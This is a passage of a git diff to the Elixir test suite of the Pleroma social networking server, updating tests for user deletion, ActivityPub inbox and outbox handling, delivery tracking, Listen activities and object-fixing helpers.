@@ -1044,7 +1034,7 @@ defmodule Pleroma.UserTest do
test ".delete_user_activities deletes all create activities", %{user: user} do
{:ok, activity} = CommonAPI.post(user, %{"status" => "2hu"})
- {:ok, _} = User.delete_user_activities(user)
+ User.delete_user_activities(user)
# TODO: Remove favorites, repeats, delete activities.
refute Activity.get_by_id(activity.id)
@@ -1053,7 +1043,9 @@ defmodule Pleroma.UserTest do
test "it deletes deactivated user" do
{:ok, user} = insert(:user, info: %{deactivated: true}) |> User.set_cache()
- assert {:ok, _} = User.delete(user)
+ {:ok, job} = User.delete(user)
+ {:ok, _user} = ObanHelpers.perform(job)
+
refute User.get_by_id(user.id)
end
@@ -1071,7 +1063,8 @@ defmodule Pleroma.UserTest do
{:ok, like_two, _} = CommonAPI.favorite(activity.id, follower)
{:ok, repeat, _} = CommonAPI.repeat(activity_two.id, user)
- {:ok, _} = User.delete(user)
+ {:ok, job} = User.delete(user)
+ {:ok, _user} = ObanHelpers.perform(job)
follower = User.get_cached_by_id(follower.id)
@@ -1081,7 +1074,7 @@ defmodule Pleroma.UserTest do
user_activities =
user.ap_id
- |> Activity.query_by_actor()
+ |> Activity.Queries.by_actor()
|> Repo.all()
|> Enum.map(fn act -> act.data["type"] end)
@@ -1103,12 +1096,18 @@ defmodule Pleroma.UserTest do
{:ok, follower} = User.get_or_fetch_by_ap_id("http://mastodon.example.org/users/admin")
{:ok, _} = User.follow(follower, user)
- {:ok, _user} = User.delete(user)
-
- assert called(
- Pleroma.Web.ActivityPub.Publisher.publish_one(%{
- inbox: "http://mastodon.example.org/inbox"
- })
+ {:ok, job} = User.delete(user)
+ {:ok, _user} = ObanHelpers.perform(job)
+
+ assert ObanHelpers.member?(
+ %{
+ "op" => "publish_one",
+ "params" => %{
+ "inbox" => "http://mastodon.example.org/inbox",
+ "id" => "pleroma:fakeid"
+ }
+ },
+ all_enqueued(worker: Pleroma.Workers.PublisherWorker)
)
end
end
@@ -1117,11 +1116,60 @@ defmodule Pleroma.UserTest do
assert {:ok, _key} = User.get_public_key_for_ap_id("http://mastodon.example.org/users/admin")
end
- test "insert or update a user from given data" do
- user = insert(:user, %{nickname: "nick@name.de"})
- data = %{ap_id: user.ap_id <> "xxx", name: user.name, nickname: user.nickname}
+ describe "insert or update a user from given data" do
+ test "with normal data" do
+ user = insert(:user, %{nickname: "nick@name.de"})
+ data = %{ap_id: user.ap_id <> "xxx", name: user.name, nickname: user.nickname}
+
+ assert {:ok, %User{}} = User.insert_or_update_user(data)
+ end
+
+ test "with overly long fields" do
+ current_max_length = Pleroma.Config.get([:instance, :account_field_value_length], 255)
+ user = insert(:user, nickname: "nickname@supergood.domain")
+
+ data = %{
+ ap_id: user.ap_id,
+ name: user.name,
+ nickname: user.nickname,
+ info: %{
+ fields: [
+ %{"name" => "myfield", "value" => String.duplicate("h", current_max_length + 1)}
+ ]
+ }
+ }
+
+ assert {:ok, %User{}} = User.insert_or_update_user(data)
+ end
+
+ test "with an overly long bio" do
+ current_max_length = Pleroma.Config.get([:instance, :user_bio_length], 5000)
+ user = insert(:user, nickname: "nickname@supergood.domain")
+
+ data = %{
+ ap_id: user.ap_id,
+ name: user.name,
+ nickname: user.nickname,
+ bio: String.duplicate("h", current_max_length + 1),
+ info: %{}
+ }
+
+ assert {:ok, %User{}} = User.insert_or_update_user(data)
+ end
+
+ test "with an overly long display name" do
+ current_max_length = Pleroma.Config.get([:instance, :user_name_length], 100)
+ user = insert(:user, nickname: "nickname@supergood.domain")
+
+ data = %{
+ ap_id: user.ap_id,
+ name: String.duplicate("h", current_max_length + 1),
+ nickname: user.nickname,
+ info: %{}
+ }
- assert {:ok, %User{}} = User.insert_or_update_user(data)
+ assert {:ok, %User{}} = User.insert_or_update_user(data)
+ end
end
describe "per-user rich-text filtering" do
@@ -1153,7 +1201,8 @@ defmodule Pleroma.UserTest do
test "User.delete() plugs any possible zombie objects" do
user = insert(:user)
- {:ok, _} = User.delete(user)
+ {:ok, job} = User.delete(user)
+ {:ok, _} = ObanHelpers.perform(job)
{:ok, cached_user} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}")
@@ -1245,9 +1294,9 @@ defmodule Pleroma.UserTest do
bio = "A.k.a. @nick@domain.com"
expected_text =
- "A.k.a. <span class='h-card'><a data-user='#{remote_user.id}' class='u-url mention' href='#{
+ ~s(A.k.a. <span class="h-card"><a data-user="#{remote_user.id}" class="u-url mention" href="#{
remote_user.ap_id
- }'>@<span>nick@domain.com</span></a></span>"
+ }" rel="ugc">@<span>nick@domain.com</span></a></span>)
assert expected_text == User.parse_bio(bio, user)
end
@@ -1641,4 +1690,39 @@ defmodule Pleroma.UserTest do
assert {:ok, %User{email: "cofe@cofe.party"}} = User.change_email(user, "cofe@cofe.party")
end
end
+
+ describe "set_password_reset_pending/2" do
+ setup do
+ [user: insert(:user)]
+ end
+
+ test "sets password_reset_pending to true", %{user: user} do
+ %{password_reset_pending: password_reset_pending} = user.info
+
+ refute password_reset_pending
+
+ {:ok, %{info: %{password_reset_pending: password_reset_pending}}} =
+ User.force_password_reset(user)
+
+ assert password_reset_pending
+ end
+ end
+
+ test "change_info/2" do
+ user = insert(:user)
+ assert user.info.hide_follows == false
+
+ changeset = User.change_info(user, &User.Info.profile_update(&1, %{hide_follows: true}))
+ assert changeset.changes.info.changes.hide_follows == true
+ end
+
+ test "update_info/2" do
+ user = insert(:user)
+ assert user.info.hide_follows == false
+
+ assert {:ok, _} = User.update_info(user, &User.Info.profile_update(&1, %{hide_follows: true}))
+
+ assert %{info: %{hide_follows: true}} = Repo.get(User, user.id)
+ assert {:ok, %{info: %{hide_follows: true}}} = Cachex.get(:user_cache, "ap_id:#{user.ap_id}")
+ end
end
diff --git a/test/web/activity_pub/activity_pub_controller_test.exs b/test/web/activity_pub/activity_pub_controller_test.exs
index 9698c7099..ab52044ae 100644
--- a/test/web/activity_pub/activity_pub_controller_test.exs
+++ b/test/web/activity_pub/activity_pub_controller_test.exs
@@ -1,19 +1,24 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
use Pleroma.Web.ConnCase
+ use Oban.Testing, repo: Pleroma.Repo
+
import Pleroma.Factory
alias Pleroma.Activity
+ alias Pleroma.Delivery
alias Pleroma.Instances
alias Pleroma.Object
+ alias Pleroma.Tests.ObanHelpers
alias Pleroma.User
alias Pleroma.Web.ActivityPub.ObjectView
alias Pleroma.Web.ActivityPub.Relay
alias Pleroma.Web.ActivityPub.UserView
alias Pleroma.Web.ActivityPub.Utils
alias Pleroma.Web.CommonAPI
+ alias Pleroma.Workers.ReceiverWorker
setup_all do
Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
@@ -365,7 +370,8 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
|> post("/inbox", data)
assert "ok" == json_response(conn, 200)
- :timer.sleep(500)
+
+ ObanHelpers.perform(all_enqueued(worker: ReceiverWorker))
assert Activity.get_by_ap_id(data["id"])
end
@@ -407,7 +413,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
|> post("/users/#{user.nickname}/inbox", data)
assert "ok" == json_response(conn, 200)
- :timer.sleep(500)
+ ObanHelpers.perform(all_enqueued(worker: ReceiverWorker))
assert Activity.get_by_ap_id(data["id"])
end
@@ -436,7 +442,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
|> post("/users/#{recipient.nickname}/inbox", data)
assert "ok" == json_response(conn, 200)
- :timer.sleep(500)
+ ObanHelpers.perform(all_enqueued(worker: ReceiverWorker))
assert Activity.get_by_ap_id(data["id"])
end
@@ -473,7 +479,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
conn
|> assign(:user, user)
|> put_req_header("accept", "application/activity+json")
- |> get("/users/#{user.nickname}/inbox")
+ |> get("/users/#{user.nickname}/inbox?page=true")
assert response(conn, 200) =~ note_object.data["content"]
end
@@ -526,6 +532,8 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
|> post("/users/#{recipient.nickname}/inbox", data)
|> json_response(200)
+ ObanHelpers.perform(all_enqueued(worker: ReceiverWorker))
+
activity = Activity.get_by_ap_id(data["id"])
assert activity.id
@@ -559,7 +567,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
conn =
conn
|> put_req_header("accept", "application/activity+json")
- |> get("/users/#{user.nickname}/outbox")
+ |> get("/users/#{user.nickname}/outbox?page=true")
assert response(conn, 200) =~ note_object.data["content"]
end
@@ -571,7 +579,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
conn =
conn
|> put_req_header("accept", "application/activity+json")
- |> get("/users/#{user.nickname}/outbox")
+ |> get("/users/#{user.nickname}/outbox?page=true")
assert response(conn, 200) =~ announce_activity.data["object"]
end
@@ -601,6 +609,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
|> post("/users/#{user.nickname}/outbox", data)
result = json_response(conn, 201)
+
assert Activity.get_by_ap_id(result["id"])
end
@@ -885,4 +894,86 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do
assert result["totalItems"] == 15
end
end
+
+ describe "delivery tracking" do
+ test "it tracks a signed object fetch", %{conn: conn} do
+ user = insert(:user, local: false)
+ activity = insert(:note_activity)
+ object = Object.normalize(activity)
+
+ object_path = String.trim_leading(object.data["id"], Pleroma.Web.Endpoint.url())
+
+ conn
+ |> put_req_header("accept", "application/activity+json")
+ |> assign(:user, user)
+ |> get(object_path)
+ |> json_response(200)
+
+ assert Delivery.get(object.id, user.id)
+ end
+
+ test "it tracks a signed activity fetch", %{conn: conn} do
+ user = insert(:user, local: false)
+ activity = insert(:note_activity)
+ object = Object.normalize(activity)
+
+ activity_path = String.trim_leading(activity.data["id"], Pleroma.Web.Endpoint.url())
+
+ conn
+ |> put_req_header("accept", "application/activity+json")
+ |> assign(:user, user)
+ |> get(activity_path)
+ |> json_response(200)
+
+ assert Delivery.get(object.id, user.id)
+ end
+
+ test "it tracks a signed object fetch when the json is cached", %{conn: conn} do
+ user = insert(:user, local: false)
+ other_user = insert(:user, local: false)
+ activity = insert(:note_activity)
+ object = Object.normalize(activity)
+
+ object_path = String.trim_leading(object.data["id"], Pleroma.Web.Endpoint.url())
+
+ conn
+ |> put_req_header("accept", "application/activity+json")
+ |> assign(:user, user)
+ |> get(object_path)
+ |> json_response(200)
+
+ build_conn()
+ |> put_req_header("accept", "application/activity+json")
+ |> assign(:user, other_user)
+ |> get(object_path)
+ |> json_response(200)
+
+ assert Delivery.get(object.id, user.id)
+ assert Delivery.get(object.id, other_user.id)
+ end
+
+ test "it tracks a signed activity fetch when the json is cached", %{conn: conn} do
+ user = insert(:user, local: false)
+ other_user = insert(:user, local: false)
+ activity = insert(:note_activity)
+ object = Object.normalize(activity)
+
+ activity_path = String.trim_leading(activity.data["id"], Pleroma.Web.Endpoint.url())
+
+ conn
+ |> put_req_header("accept", "application/activity+json")
+ |> assign(:user, user)
+ |> get(activity_path)
+ |> json_response(200)
+
+ build_conn()
+ |> put_req_header("accept", "application/activity+json")
+ |> assign(:user, other_user)
+ |> get(activity_path)
+ |> json_response(200)
+
+ assert Delivery.get(object.id, user.id)
+ assert Delivery.get(object.id, other_user.id)
+ end
+ end
end
diff --git a/test/web/activity_pub/activity_pub_test.exs b/test/web/activity_pub/activity_pub_test.exs
index 67dfb9394..3e6f389bc 100644
--- a/test/web/activity_pub/activity_pub_test.exs
+++ b/test/web/activity_pub/activity_pub_test.exs
@@ -38,9 +38,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
stream: fn _, _ -> nil end do
ActivityPub.stream_out_participations(conversation.participations)
- Enum.each(participations, fn participation ->
- assert called(Pleroma.Web.Streamer.stream("participation", participation))
- end)
+ assert called(Pleroma.Web.Streamer.stream("participation", participations))
end
end
end
@@ -259,6 +257,42 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
end
end
+ describe "listen activities" do
+ test "does not increase user note count" do
+ user = insert(:user)
+
+ {:ok, activity} =
+ ActivityPub.listen(%{
+ to: ["https://www.w3.org/ns/activitystreams#Public"],
+ actor: user,
+ context: "",
+ object: %{
+ "actor" => user.ap_id,
+ "to" => ["https://www.w3.org/ns/activitystreams#Public"],
+ "artist" => "lain",
+ "title" => "lain radio episode 1",
+ "length" => 180_000,
+ "type" => "Audio"
+ }
+ })
+
+ assert activity.actor == user.ap_id
+
+ user = User.get_cached_by_id(user.id)
+ assert user.info.note_count == 0
+ end
+
+ test "can be fetched into a timeline" do
+ _listen_activity_1 = insert(:listen)
+ _listen_activity_2 = insert(:listen)
+ _listen_activity_3 = insert(:listen)
+
+ timeline = ActivityPub.fetch_activities([], %{"type" => ["Listen"]})
+
+ assert length(timeline) == 3
+ end
+ end
+
describe "create activities" do
test "removes doubled 'to' recipients" do
user = insert(:user)
@@ -649,6 +683,21 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
assert last == last_expected
end
+ test "paginates via offset/limit" do
+ _first_activities = ActivityBuilder.insert_list(10)
+ activities = ActivityBuilder.insert_list(10)
+ _later_activities = ActivityBuilder.insert_list(10)
+ first_expected = List.first(activities)
+
+ activities =
+ ActivityPub.fetch_public_activities(%{"page" => "2", "page_size" => "20"}, :offset)
+
+ first = List.first(activities)
+
+ assert length(activities) == 20
+ assert first == first_expected
+ end
+
test "doesn't return reblogs for users for whom reblogs have been muted" do
activity = insert(:note_activity)
user = insert(:user)
@@ -708,7 +757,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
user = insert(:user)
{:ok, like_activity, _object} = ActivityPub.like(user, object_activity)
- assert called(Pleroma.Web.Federator.publish(like_activity, 5))
+ assert called(Pleroma.Web.Federator.publish(like_activity))
end
test "returns exist activity if object already liked" do
@@ -769,7 +818,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do
{:ok, unlike_activity, _, object} = ActivityPub.unlike(user, object)
assert object.data["like_count"] == 0
- assert called(Pleroma.Web.Federator.publish(unlike_activity, 5))
+ assert called(Pleroma.Web.Federator.publish(unlike_activity))
end
test "unliking a previously liked object" do
diff --git a/test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs b/test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs
index 372e789be..95a809d25 100644
--- a/test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs
+++ b/test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs
@@ -6,6 +6,7 @@ defmodule Pleroma.Web.ActivityPub.MRF.MediaProxyWarmingPolicyTest do
use Pleroma.DataCase
alias Pleroma.HTTP
+ alias Pleroma.Tests.ObanHelpers
alias Pleroma.Web.ActivityPub.MRF.MediaProxyWarmingPolicy
import Mock
@@ -24,6 +25,11 @@ defmodule Pleroma.Web.ActivityPub.MRF.MediaProxyWarmingPolicyTest do
test "it prefetches media proxy URIs" do
with_mock HTTP, get: fn _, _, _ -> {:ok, []} end do
MediaProxyWarmingPolicy.filter(@message)
+
+ ObanHelpers.perform_all()
+ # Performing jobs which has been just enqueued
+ ObanHelpers.perform_all()
+
assert called(HTTP.get(:_, :_, :_))
end
end
diff --git a/test/web/activity_pub/publisher_test.exs b/test/web/activity_pub/publisher_test.exs
index 36a39c84c..df03b4008 100644
--- a/test/web/activity_pub/publisher_test.exs
+++ b/test/web/activity_pub/publisher_test.exs
@@ -3,15 +3,18 @@
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.ActivityPub.PublisherTest do
- use Pleroma.DataCase
+ use Pleroma.Web.ConnCase
+ import ExUnit.CaptureLog
import Pleroma.Factory
import Tesla.Mock
import Mock
alias Pleroma.Activity
alias Pleroma.Instances
+ alias Pleroma.Object
alias Pleroma.Web.ActivityPub.Publisher
+ alias Pleroma.Web.CommonAPI
@as_public "https://www.w3.org/ns/activitystreams#Public"
@@ -188,7 +191,10 @@ defmodule Pleroma.Web.ActivityPub.PublisherTest do
actor = insert(:user)
inbox = "http://connrefused.site/users/nick1/inbox"
- assert {:error, _} = Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1})
+ assert capture_log(fn ->
+ assert {:error, _} =
+ Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1})
+ end) =~ "connrefused"
assert called(Instances.set_unreachable(inbox))
end
@@ -212,14 +218,16 @@ defmodule Pleroma.Web.ActivityPub.PublisherTest do
actor = insert(:user)
inbox = "http://connrefused.site/users/nick1/inbox"
- assert {:error, _} =
- Publisher.publish_one(%{
- inbox: inbox,
- json: "{}",
- actor: actor,
- id: 1,
- unreachable_since: NaiveDateTime.utc_now()
- })
+ assert capture_log(fn ->
+ assert {:error, _} =
+ Publisher.publish_one(%{
+ inbox: inbox,
+ json: "{}",
+ actor: actor,
+ id: 1,
+ unreachable_since: NaiveDateTime.utc_now()
+ })
+ end) =~ "connrefused"
refute called(Instances.set_unreachable(inbox))
end
@@ -257,10 +265,74 @@ defmodule Pleroma.Web.ActivityPub.PublisherTest do
assert called(
Pleroma.Web.Federator.Publisher.enqueue_one(Publisher, %{
inbox: "https://domain.com/users/nick1/inbox",
- actor: actor,
+ actor_id: actor.id,
id: note_activity.data["id"]
})
)
end
+
+ test_with_mock "publishes a delete activity to peers who signed fetch requests to the create acitvity/object.",
+ Pleroma.Web.Federator.Publisher,
+ [:passthrough],
+ [] do
+ fetcher =
+ insert(:user,
+ local: false,
+ info: %{
+ ap_enabled: true,
+ source_data: %{"inbox" => "https://domain.com/users/nick1/inbox"}
+ }
+ )
+
+ another_fetcher =
+ insert(:user,
+ local: false,
+ info: %{
+ ap_enabled: true,
+ source_data: %{"inbox" => "https://domain2.com/users/nick1/inbox"}
+ }
+ )
+
+ actor = insert(:user)
+
+ note_activity = insert(:note_activity, user: actor)
+ object = Object.normalize(note_activity)
+
+ activity_path = String.trim_leading(note_activity.data["id"], Pleroma.Web.Endpoint.url())
+ object_path = String.trim_leading(object.data["id"], Pleroma.Web.Endpoint.url())
+
+ build_conn()
+ |> put_req_header("accept", "application/activity+json")
+ |> assign(:user, fetcher)
+ |> get(object_path)
+ |> json_response(200)
+
+ build_conn()
+ |> put_req_header("accept", "application/activity+json")
+ |> assign(:user, another_fetcher)
+ |> get(activity_path)
+ |> json_response(200)
+
+ {:ok, delete} = CommonAPI.delete(note_activity.id, actor)
+
+ res = Publisher.publish(actor, delete)
+ assert res == :ok
+
+ assert called(
+ Pleroma.Web.Federator.Publisher.enqueue_one(Publisher, %{
+ inbox: "https://domain.com/users/nick1/inbox",
+ actor_id: actor.id,
+ id: delete.data["id"]
+ })
+ )
+
+ assert called(
+ Pleroma.Web.Federator.Publisher.enqueue_one(Publisher, %{
+ inbox: "https://domain2.com/users/nick1/inbox",
+ actor_id: actor.id,
+ id: delete.data["id"]
+ })
+ )
+ end
end
end
diff --git a/test/web/activity_pub/relay_test.exs b/test/web/activity_pub/relay_test.exs
index 4f7d592a6..0f7556538 100644
--- a/test/web/activity_pub/relay_test.exs
+++ b/test/web/activity_pub/relay_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.ActivityPub.RelayTest do
@@ -10,6 +10,7 @@ defmodule Pleroma.Web.ActivityPub.RelayTest do
alias Pleroma.Web.ActivityPub.ActivityPub
alias Pleroma.Web.ActivityPub.Relay
+ import ExUnit.CaptureLog
import Pleroma.Factory
import Mock
@@ -20,7 +21,9 @@ defmodule Pleroma.Web.ActivityPub.RelayTest do
describe "follow/1" do
test "returns errors when user not found" do
- assert Relay.follow("test-ap-id") == {:error, "Could not fetch by AP id"}
+ assert capture_log(fn ->
+ assert Relay.follow("test-ap-id") == {:error, "Could not fetch by AP id"}
+ end) =~ "Could not fetch by AP id"
end
test "returns activity" do
@@ -37,7 +40,9 @@ defmodule Pleroma.Web.ActivityPub.RelayTest do
describe "unfollow/1" do
test "returns errors when user not found" do
- assert Relay.unfollow("test-ap-id") == {:error, "Could not fetch by AP id"}
+ assert capture_log(fn ->
+ assert Relay.unfollow("test-ap-id") == {:error, "Could not fetch by AP id"}
+ end) =~ "Could not fetch by AP id"
end
test "returns activity" do
@@ -78,7 +83,9 @@ defmodule Pleroma.Web.ActivityPub.RelayTest do
}
)
- assert Relay.publish(activity) == {:error, nil}
+ assert capture_log(fn ->
+ assert Relay.publish(activity) == {:error, nil}
+ end) =~ "[error] error: nil"
end
test_with_mock "returns announce activity and publish to federate",
@@ -92,7 +99,7 @@ defmodule Pleroma.Web.ActivityPub.RelayTest do
assert activity.data["type"] == "Announce"
assert activity.data["actor"] == service_actor.ap_id
assert activity.data["object"] == obj.data["id"]
- assert called(Pleroma.Web.Federator.publish(activity, 5))
+ assert called(Pleroma.Web.Federator.publish(activity))
end
test_with_mock "returns announce activity and not publish to federate",
@@ -106,7 +113,7 @@ defmodule Pleroma.Web.ActivityPub.RelayTest do
assert activity.data["type"] == "Announce"
assert activity.data["actor"] == service_actor.ap_id
assert activity.data["object"] == obj.data["id"]
- refute called(Pleroma.Web.Federator.publish(activity, 5))
+ refute called(Pleroma.Web.Federator.publish(activity))
end
end
end
diff --git a/test/web/activity_pub/transmogrifier/follow_handling_test.exs b/test/web/activity_pub/transmogrifier/follow_handling_test.exs
index fe89f7cb0..99ab573c5 100644
--- a/test/web/activity_pub/transmogrifier/follow_handling_test.exs
+++ b/test/web/activity_pub/transmogrifier/follow_handling_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.ActivityPub.Transmogrifier.FollowHandlingTest do
diff --git a/test/web/activity_pub/transmogrifier_test.exs b/test/web/activity_pub/transmogrifier_test.exs
index 136c8034c..ba2a43296 100644
--- a/test/web/activity_pub/transmogrifier_test.exs
+++ b/test/web/activity_pub/transmogrifier_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
@@ -8,6 +8,7 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
alias Pleroma.Object
alias Pleroma.Object.Fetcher
alias Pleroma.Repo
+ alias Pleroma.Tests.ObanHelpers
alias Pleroma.User
alias Pleroma.Web.ActivityPub.ActivityPub
alias Pleroma.Web.ActivityPub.Transmogrifier
@@ -176,6 +177,35 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
end)
end
+ test "it works for incoming listens" do
+ data = %{
+ "@context" => "https://www.w3.org/ns/activitystreams",
+ "to" => ["https://www.w3.org/ns/activitystreams#Public"],
+ "cc" => [],
+ "type" => "Listen",
+ "id" => "http://mastodon.example.org/users/admin/listens/1234/activity",
+ "actor" => "http://mastodon.example.org/users/admin",
+ "object" => %{
+ "type" => "Audio",
+ "id" => "http://mastodon.example.org/users/admin/listens/1234",
+ "attributedTo" => "http://mastodon.example.org/users/admin",
+ "title" => "lain radio episode 1",
+ "artist" => "lain",
+ "album" => "lain radio",
+ "length" => 180_000
+ }
+ }
+
+ {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data)
+
+ object = Object.normalize(activity)
+
+ assert object.data["title"] == "lain radio episode 1"
+ assert object.data["artist"] == "lain"
+ assert object.data["album"] == "lain radio"
+ assert object.data["length"] == 180_000
+ end
+
test "it rewrites Note votes to Answers and increments vote counters on question activities" do
user = insert(:user)
@@ -680,6 +710,7 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
|> Poison.decode!()
{:ok, _} = Transmogrifier.handle_incoming(data)
+ ObanHelpers.perform_all()
refute User.get_cached_by_ap_id(ap_id)
end
@@ -1220,6 +1251,20 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
assert is_nil(modified["bcc"])
end
+
+ test "it can handle Listen activities" do
+ listen_activity = insert(:listen)
+
+ {:ok, modified} = Transmogrifier.prepare_outgoing(listen_activity.data)
+
+ assert modified["type"] == "Listen"
+
+ user = insert(:user)
+
+ {:ok, activity} = CommonAPI.listen(user, %{"title" => "lain radio episode 1"})
+
+ {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data)
+ end
end
describe "user upgrade" do
@@ -1242,6 +1287,8 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
assert user.info.note_count == 1
{:ok, user} = Transmogrifier.upgrade_user_from_ap_id("https://niu.moe/users/rye")
+ ObanHelpers.perform_all()
+
assert user.info.ap_enabled
assert user.info.note_count == 1
assert user.follower_address == "https://niu.moe/users/rye/followers"
@@ -1483,4 +1530,271 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
refute recipient.follower_address in fixed_object["to"]
end
end
+
+ describe "fix_summary/1" do
+ test "returns fixed object" do
+ assert Transmogrifier.fix_summary(%{"summary" => nil}) == %{"summary" => ""}
+ assert Transmogrifier.fix_summary(%{"summary" => "ok"}) == %{"summary" => "ok"}
+ assert Transmogrifier.fix_summary(%{}) == %{"summary" => ""}
+ end
+ end
+
+ describe "fix_in_reply_to/2" do
+ clear_config([:instance, :federation_incoming_replies_max_depth])
+
+ setup do
+ data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json"))
+ [data: data]
+ end
+
+ test "returns not modified object when hasn't containts inReplyTo field", %{data: data} do
+ assert Transmogrifier.fix_in_reply_to(data) == data
+ end
+
+ test "returns object with inReplyToAtomUri when denied incoming reply", %{data: data} do
+ Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 0)
+
+ object_with_reply =
+ Map.put(data["object"], "inReplyTo", "https://shitposter.club/notice/2827873")
+
+ modified_object = Transmogrifier.fix_in_reply_to(object_with_reply)
+ assert modified_object["inReplyTo"] == "https://shitposter.club/notice/2827873"
+ assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873"
+
+ object_with_reply =
+ Map.put(data["object"], "inReplyTo", %{"id" => "https://shitposter.club/notice/2827873"})
+
+ modified_object = Transmogrifier.fix_in_reply_to(object_with_reply)
+ assert modified_object["inReplyTo"] == %{"id" => "https://shitposter.club/notice/2827873"}
+ assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873"
+
+ object_with_reply =
+ Map.put(data["object"], "inReplyTo", ["https://shitposter.club/notice/2827873"])
+
+ modified_object = Transmogrifier.fix_in_reply_to(object_with_reply)
+ assert modified_object["inReplyTo"] == ["https://shitposter.club/notice/2827873"]
+ assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873"
+
+ object_with_reply = Map.put(data["object"], "inReplyTo", [])
+ modified_object = Transmogrifier.fix_in_reply_to(object_with_reply)
+ assert modified_object["inReplyTo"] == []
+ assert modified_object["inReplyToAtomUri"] == ""
+ end
+
+ test "returns modified object when allowed incoming reply", %{data: data} do
+ object_with_reply =
+ Map.put(
+ data["object"],
+ "inReplyTo",
+ "https://shitposter.club/notice/2827873"
+ )
+
+ Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 5)
+ modified_object = Transmogrifier.fix_in_reply_to(object_with_reply)
+
+ assert modified_object["inReplyTo"] ==
+ "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment"
+
+ assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873"
+
+ assert modified_object["conversation"] ==
+ "tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26"
+
+ assert modified_object["context"] ==
+ "tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26"
+ end
+ end
+
+ describe "fix_url/1" do
+ test "fixes data for object when url is map" do
+ object = %{
+ "url" => %{
+ "type" => "Link",
+ "mimeType" => "video/mp4",
+ "href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4"
+ }
+ }
+
+ assert Transmogrifier.fix_url(object) == %{
+ "url" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4"
+ }
+ end
+
+ test "fixes data for video object" do
+ object = %{
+ "type" => "Video",
+ "url" => [
+ %{
+ "type" => "Link",
+ "mimeType" => "video/mp4",
+ "href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4"
+ },
+ %{
+ "type" => "Link",
+ "mimeType" => "video/mp4",
+ "href" => "https://peertube46fb-ad81-2d4c2d1630e3-240.mp4"
+ },
+ %{
+ "type" => "Link",
+ "mimeType" => "text/html",
+ "href" => "https://peertube.-2d4c2d1630e3"
+ },
+ %{
+ "type" => "Link",
+ "mimeType" => "text/html",
+ "href" => "https://peertube.-2d4c2d16377-42"
+ }
+ ]
+ }
+
+ assert Transmogrifier.fix_url(object) == %{
+ "attachment" => [
+ %{
+ "href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4",
+ "mimeType" => "video/mp4",
+ "type" => "Link"
+ }
+ ],
+ "type" => "Video",
+ "url" => "https://peertube.-2d4c2d1630e3"
+ }
+ end
+
+ test "fixes url for not Video object" do
+ object = %{
+ "type" => "Text",
+ "url" => [
+ %{
+ "type" => "Link",
+ "mimeType" => "text/html",
+ "href" => "https://peertube.-2d4c2d1630e3"
